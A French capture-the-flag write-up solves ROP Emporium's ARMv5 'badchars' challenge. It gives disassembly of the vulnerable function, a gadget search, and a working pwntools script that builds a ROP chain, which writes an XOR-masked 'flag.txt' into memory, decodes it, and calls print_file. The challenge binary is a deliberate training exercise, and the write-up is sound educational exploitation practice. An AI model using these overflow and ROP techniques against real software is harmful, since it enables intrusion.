Ropemporium ARMv5 badchars
armv5 badchars
Introduction
Dans cet exercice on doit appeller une fonction avec en paramètre une chaine de caractère péalablement écrite en mémoire comme pour le précédant mais certains caractères sont interdits.
Ennoncé sur le site ropemporium : badchars
## Découverte
Contenu
-rwxr-xr-x 1 jce jce 8252 10 juil. 2020 badchars_armv5
-rwxr-xr-x 1 jce jce 8272 19 juil. 2021 badchars_armv5-hf
-rw-r--r-- 1 jce jce 11546 19 juil. 2021 badchars_armv5.zip
-rw-r--r-- 1 jce jce 33 2 juil. 2020 flag.txt
-rwxr-xr-x 1 jce jce 7852 19 juil. 2021 libbadchars_armv5-hf.so
-rwxr-xr-x 1 jce jce 7840 10 juil. 2020 libbadchars_armv5.so
Execution du programme avec qemu
armv5/05_badchars$ qemu-arm badchars_armv5
badchars by ROP Emporium
ARMv5
badchars are: 'x', 'g', 'a', '.'
> aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!
Analyse
Le programe principal
;-- usefulGadgets:
0x000105f0 001095e5 ldr r1, [r5]
0x000105f4 061041e0 sub r1, r1, r6
0x000105f8 001085e5 str r1, [r5]
0x000105fc 0180bde8 pop {r0, pc}
0x00010600 001095e5 ldr r1, [r5]
0x00010604 061081e0 add r1, r1, r6
0x00010608 001085e5 str r1, [r5]
0x0001060c 0180bde8 pop {r0, pc}
0x00010610 003084e5 str r3, [r4]
0x00010614 6080bde8 pop {r5, r6, pc}
0x00010618 001095e5 ldr r1, [r5]
0x0001061c 061021e0 eor r1, r1, r6
0x00010620 001085e5 str r1, [r5]
0x00010624 0180bde8 pop {r0, pc}
La libraire libbadchars.so
┌ 332: sym.pwnme ();
│ ; var int32_t var_3ch @ fp-0x3c
│ ; var void *buf @ fp-0x38
│ ; var int32_t var_34h @ fp-0x34
│ ; var int32_t var_ch @ fp-0xc
│ ; var int32_t var_sp_ch @ sp+0x24
│ ; var int32_t var_8h @ sp+0x28
│ 0x00000714 10482de9 push {r4, fp, lr}
│ 0x00000718 08b08de2 add fp, var_ch
│ 0x0000071c 34d04de2 sub sp, sp, 0x34
│ 0x00000720 38419fe5 ldr r4, [0x00000860] ; [0x860:4]=0x108d4
│ 0x00000724 04408fe0 add r4, pc, r4 ; 0x11000 ; " \x0f\x01"
│ 0x00000728 34319fe5 ldr r3, aav.0x00000048 ; [0x864:4]=72
│ 0x0000072c 033094e7 ldr r3, [r4, r3] ; stdout;
│ 0x00000730 000093e5 ldr r0, [r3] ; FILE*stream
│ 0x00000734 0030a0e3 mov r3, 0
│ 0x00000738 0220a0e3 mov r2, 2
│ 0x0000073c 0010a0e3 mov r1, 0 ; char *buf
│ 0x00000740 a1ffffeb bl sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00000744 1c319fe5 ldr r3, aav.0x000001d8 ; [0x868:4]=472
│ 0x00000748 03308fe0 add r3, pc, r3 ; 0x928 ; "badchars by ROP Emporium"
│ 0x0000074c 0300a0e1 mov r0, r3 ; 0x928 ; "badchars by ROP Emporium" ; const char *s
│ 0x00000750 94ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000754 10319fe5 ldr r3, aav.0x000001e4 ; [0x86c:4]=484
│ 0x00000758 03308fe0 add r3, pc, r3 ; 0x944 ; "ARMv5\n"
│ 0x0000075c 0300a0e1 mov r0, r3 ; 0x944 ; "ARMv5\n" ; const char *s
│ 0x00000760 90ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000764 3c304be2 sub r3, fp, 0x3c
│ 0x00000768 103083e2 add r3, buf
│ 0x0000076c 2020a0e3 mov r2, 0x20
│ 0x00000770 0010a0e3 mov r1, 0 ; int c
│ 0x00000774 0300a0e1 mov r0, r3 ; void *s
│ 0x00000778 96ffffeb bl sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x0000077c ec309fe5 ldr r3, aav.0x000001c4 ; [0x870:4]=452
│ 0x00000780 03308fe0 add r3, pc, r3 ;
│ 0x00000784 0300a0e1 mov r0, r3 ; 0x94c ; "badchars are: 'x', 'g', 'a', '.'" ; const char *s
│ 0x00000788 86ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x0000078c e0309fe5 ldr r3, aav.0x000001d8 ; [0x874:4]=472
│ 0x00000790 03308fe0 add r3, pc, r3 ; 0x970 ; "> "
│ 0x00000794 0300a0e1 mov r0, r3 ; 0x970 ; "> " ; const char *format
│ 0x00000798 76ffffeb bl sym.imp.printf ; int printf(const char *format)
│ 0x0000079c 3c304be2 sub r3, fp, 0x3c
│ 0x000007a0 103083e2 add r3, buf
│ 0x000007a4 022ca0e3 mov r2, str._ ; 0x200
│ 0x000007a8 0310a0e1 mov r1, r3 ; void *buf
│ 0x000007ac 0000a0e3 mov r0, 0 ; int fildes
│ 0x000007b0 76ffffeb bl sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000007b4 0030a0e1 mov r3, r0
│ 0x000007b8 3c300be5 str r3, [var_3ch] ; aav.0x0000003c
│ 0x000007bc 0030a0e3 mov r3, 0
│ 0x000007c0 38300be5 str r3, [buf] ; aav.0x00000038
│ ┌─< 0x000007c4 1a0000ea b 0x834
│ │ ; CODE XREF from sym.pwnme @ 0x840
│ ┌──> 0x000007c8 0030a0e3 mov r3, 0
│ ╎│ 0x000007cc 34300be5 str r3, [var_34h] ; elf_phdr
│ ╎│ ; 0x34
│ ┌───< 0x000007d0 110000ea b 0x81c
│ │╎│ ; CODE XREF from sym.pwnme @ 0x824
│ ┌────> 0x000007d4 38301be5 ldr r3, [buf] ; aav.0x00000038
│ ╎│╎│ ; 0x38
│ ╎│╎│ 0x000007d8 0c204be2 sub r2, var_sp_ch
│ ╎│╎│ 0x000007dc 033082e0 add r3, r2, r3
│ ╎│╎│ 0x000007e0 202053e5 ldrb r2, [buf]
│ ╎│╎│ 0x000007e4 34301be5 ldr r3, [var_34h] ; elf_phdr
│ ╎│╎│ ; 0x34
│ ╎│╎│ 0x000007e8 88109fe5 ldr r1, aav.0x00000040 ; [0x878:4]=64
│ ╎│╎│ 0x000007ec 011094e7 ldr r1, [r4, r1] ; 0x11040
│ ╎│╎│ ; reloc.badcharacters
│ ╎│╎│ 0x000007f0 0330d1e7 ldrb r3, [r1, r3]
│ ╎│╎│ 0x000007f4 030052e1 cmp r2, r3
│ ┌─────< 0x000007f8 0400001a bne 0x810
│ │╎│╎│ 0x000007fc 38301be5 ldr r3, [buf] ; aav.0x00000038
│ │╎│╎│ ; 0x38
│ │╎│╎│ 0x00000800 0c204be2 sub r2, var_sp_ch
│ │╎│╎│ 0x00000804 033082e0 add r3, r2, r3
│ │╎│╎│ 0x00000808 1420e0e3 mvn r2, 0x14
│ │╎│╎│ 0x0000080c 202043e5 strb r2, [buf]
│ │╎│╎│ ; CODE XREF from sym.pwnme @ 0x7f8
│ └─────> 0x00000810 34301be5 ldr r3, [var_34h] ; elf_phdr
│ ╎│╎│ ; 0x34
│ ╎│╎│ 0x00000814 013083e2 add r3, r3, 1 ; "ELF\x01\x01\x01"
│ ╎│╎│ 0x00000818 34300be5 str r3, [var_34h] ; elf_phdr
│ ╎│╎│ ; 0x34
│ ╎│╎│ ; CODE XREF from sym.pwnme @ 0x7d0
│ ╎└───> 0x0000081c 34301be5 ldr r3, [var_34h] ; elf_phdr
│ ╎ ╎│ ; 0x34
│ ╎ ╎│ 0x00000820 030053e3 cmp r3, 3 ; aav.0x00000003 ; "F\x01\x01\x01"
│ └────< 0x00000824 eaffff9a bls 0x7d4
│ ╎│ 0x00000828 38301be5 ldr r3, [buf] ; aav.0x00000038
│ ╎│ ; 0x38
│ ╎│ 0x0000082c 013083e2 add r3, r3, 1 ; "ELF\x01\x01\x01"
│ ╎│ 0x00000830 38300be5 str r3, [buf] ; aav.0x00000038
│ ╎│ ; 0x38
│ ╎│ ; CODE XREF from sym.pwnme @ 0x7c4
│ ╎└─> 0x00000834 38201be5 ldr r2, [buf] ; aav.0x00000038
│ ╎ ; 0x38
│ ╎ 0x00000838 3c301be5 ldr r3, [var_3ch] ; aav.0x0000003c
│ ╎ ; 0x3c
│ ╎ 0x0000083c 030052e1 cmp r2, r3
│ └──< 0x00000840 e0ffff3a blo 0x7c8
│ 0x00000844 30309fe5 ldr r3, aav.0x00000124 ; [0x87c:4]=292
│ 0x00000848 03308fe0 add r3, pc, r3 ; 0x974 ; "Thank you!"
│ 0x0000084c 0300a0e1 mov r0, r3 ; 0x974 ; "Thank you!" ; const char *s
│ 0x00000850 54ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000854 0000a0e1 mov r0, r0 ; 0x974 ; "Thank you!"
│ 0x00000858 08d04be2 sub sp, var_8h
└ 0x0000085c 1088bde8 pop {r4, fp, pc}
Lecture du message
│ ; var void *buf @ fp-0x38
│ 0x0000079c 3c304be2 sub r3, fp, 0x3c
│ 0x000007a0 103083e2 add r3, buf
│ 0x000007a4 022ca0e3 mov r2, str._ ; 0x200
│ 0x000007a8 0310a0e1 mov r1, r3 ; void *buf
│ 0x000007ac 0000a0e3 mov r0, 0 ; int fildes
│ 0x000007b0 76ffffeb bl sym.imp.read ; read(int fildes, void *buf, size_t nbyte)
Le déassemblage de gdb est au final plus clair
0x3ffc079c <+136>: sub r3, r11, #60 @ 0x3c
0x3ffc07a0 <+140>: add r3, r3, #16
0x3ffc07a4 <+144>: mov r2, #512 @ 0x200
0x3ffc07a8 <+148>: mov r1, r3
0x3ffc07ac <+152>: mov r0, #0
0x3ffc07b0 <+156>: bl 0x3ffc0590 <read@plt>
En fait au moment du call : r1 = r11 -0x3c + 0x10 = fp - 0x2c
Et si on regarde le début de la fonction
0x3ffc0714 <+0>: push {r4, r11, lr}
0x3ffc0718 <+4>: add r11, sp, #8
0x3ffc071c <+8>: sub sp, sp, #52 @ 0x34
On voit que r11 = fp = sp+8 avant la création de la pile locale.
Le buffer de lecture est donc à un offset 0x24 du début de la pile.
Construction de l’attaque
Le plan
On va d’abord écrire “flag.txt” avec les caractères interdits modifié par une xor. Puis xorer de nouveau chaque caractère en mémoire pour obtenir la valeur initiale.
Ce qui nous donne avec un xor 3
: ‘flbd-t{t’.
Recherche de gadgets
Un gadget xor :
05_badchars# ROPgadget --binary badchars_armv5 --depth 4|grep eor
0x0001061c : eor r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x00010618 : ldr r1, [r5] ; eor r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
Le second gadget est ce qu’il nous faut.
En chargeant r5
avec une adresse et r6
avec un masque le contenu de r5
est xoré.
Gadget d’écriture :
05_badchars# ROPgadget --binary badchars_armv5 --depth 4|grep str
0x00010604 : add r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x000105a4 : bl #0x1052c ; mov r3, #1 ; strb r3, [r4] ; pop {r4, pc}
0x0001061c : eor r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x00010600 : ldr r1, [r5] ; add r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x00010618 : ldr r1, [r5] ; eor r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x000105f0 : ldr r1, [r5] ; sub r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
0x000105a8 : mov r3, #1 ; strb r3, [r4] ; pop {r4, pc}
0x0001060c : pop {r0, pc} ; str r3, [r4] ; pop {r5, r6, pc}
0x000105f8 : str r1, [r5] ; pop {r0, pc}
0x00010608 : str r1, [r5] ; pop {r0, pc} ; str r3, [r4] ; pop {r5, r6, pc}
0x00010610 : str r3, [r4] ; pop {r5, r6, pc}
0x000105ac : strb r3, [r4] ; pop {r4, pc}
0x000105f4 : sub r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
On retient le plus simple
0x00010610 : str r3, [r4] ; pop {r5, r6, pc}
0x00010614 : pop {r5, r6, pc}
0x00010478 : pop {r3, pc}
0x000105b0 : pop {r4, pc}
0x00010690 : pop {r3, pc}
La chaîne de ROP
ROP entry | comment |
---|---|
0 | pour pop r4 de la fin de fonction |
0 | pour pop r11 de la fin de fonction |
0x00010690 | pop {r3, pc} |
Exploitation
Le script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# Set up pwntools for the correct architecture
elf = context.binary = ELF('badchars_armv5')
#context.terminal=["tmux", "splitw", "-h"]
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
# 156 : read
# 328 : ret
gs='''
b *pwnme+156
b *pwnme+328
c
'''
def xorchain(chain, bytes, mask):
r=b""
for i,c in enumerate(chain):
if bytes&0x80:
c=c^mask
r+=chr(c).encode()
bytes= bytes<<1
return r
g_pop_r3 = 0x00010690
g_pop_r4 = 0x000105b0
g_pop_r5r6 = 0x10614
# str r3, [r4] ; pop {r3, r4, pc}
g_str_r3r4 = 0x000105ec
# 0x00010610 : str r3, [r4] ; pop {r5, r6, pc}
g_str_r3r4 = 0x00010610
# pop {r0, pc}
g_pop_r0 = 0x000105f4
# 0x00010618 : ldr r1, [r5] ; eor r1, r1, r6 ; str r1, [r5] ; pop {r0, pc}
g_xor_r5r6 = 0x00010618
if len(sys.argv)>1 and sys.argv[1] == "-d":
io = gdb.debug([elf.path],gdbscript=gs)
else:
io = process([elf.path])
data = elf.get_section_by_name('.data').header['sh_addr']
print_file = elf.plt['print_file']
main=elf.symbols['main']
io.recvuntil(b"> ")
offset=0x24
flagxored = xorchain(b"flag.txt",0b00111010,3)
log.info(f"flagxored = {flagxored}")
log.info(f".data = 0x{data:x}")
log.info(f".print_file = 0x{print_file:x}")
PL=b"A"*offset
# Ecriture de flag.txt xor 3
#
PL+=p32(4) # r4
PL+=p32(5) # r11
PL+=p32(g_pop_r3) # r3 <=
PL+=flagxored[:4]
PL+=p32(g_pop_r4) # r4 <= data
PL+=p32(data)
PL+=p32(g_str_r3r4)
PL+=p32(5) # r5
PL+=p32(6) # r6
PL+=p32(g_pop_r3)
PL+=flagxored[4:8]
PL+=p32(g_pop_r4)
PL+=p32(data+4)
PL+=p32(g_str_r3r4)
PL+=p32(data+2) # r5
PL+=p32(3) # r6
# sequence de xor
PL+=p32(g_xor_r5r6)
PL+=p32(0) # r0
PL+=p32(g_pop_r5r6)
PL+=p32(data+3) # r5
PL+=p32(3) # r6
PL+=p32(g_xor_r5r6)
PL+=p32(0) # r0
PL+=p32(g_pop_r5r6)
PL+=p32(data+4) # r5
PL+=p32(3) # r6
PL+=p32(g_xor_r5r6)
PL+=p32(0) # r0
PL+=p32(g_pop_r5r6)
PL+=p32(data+6) # r5
PL+=p32(3) # r6
PL+=p32(g_xor_r5r6)
PL+=p32(data) # r0
PL+=p32(print_file)
PL+=p32(main)
io.sendline(PL)
io.interactive()
Execution du script
[*] '/w/ropemporium/armv5/05_badchars/badchars_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
RUNPATH: b'.'
[+] Starting local process '/w/ropemporium/armv5/05_badchars/badchars_armv5': pid 1459
[*] flagxored = b'flbd-t{t'
[*] .data = 0x21024
[*] .print_file = 0x104b4
[*] Switching to interactive mode
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive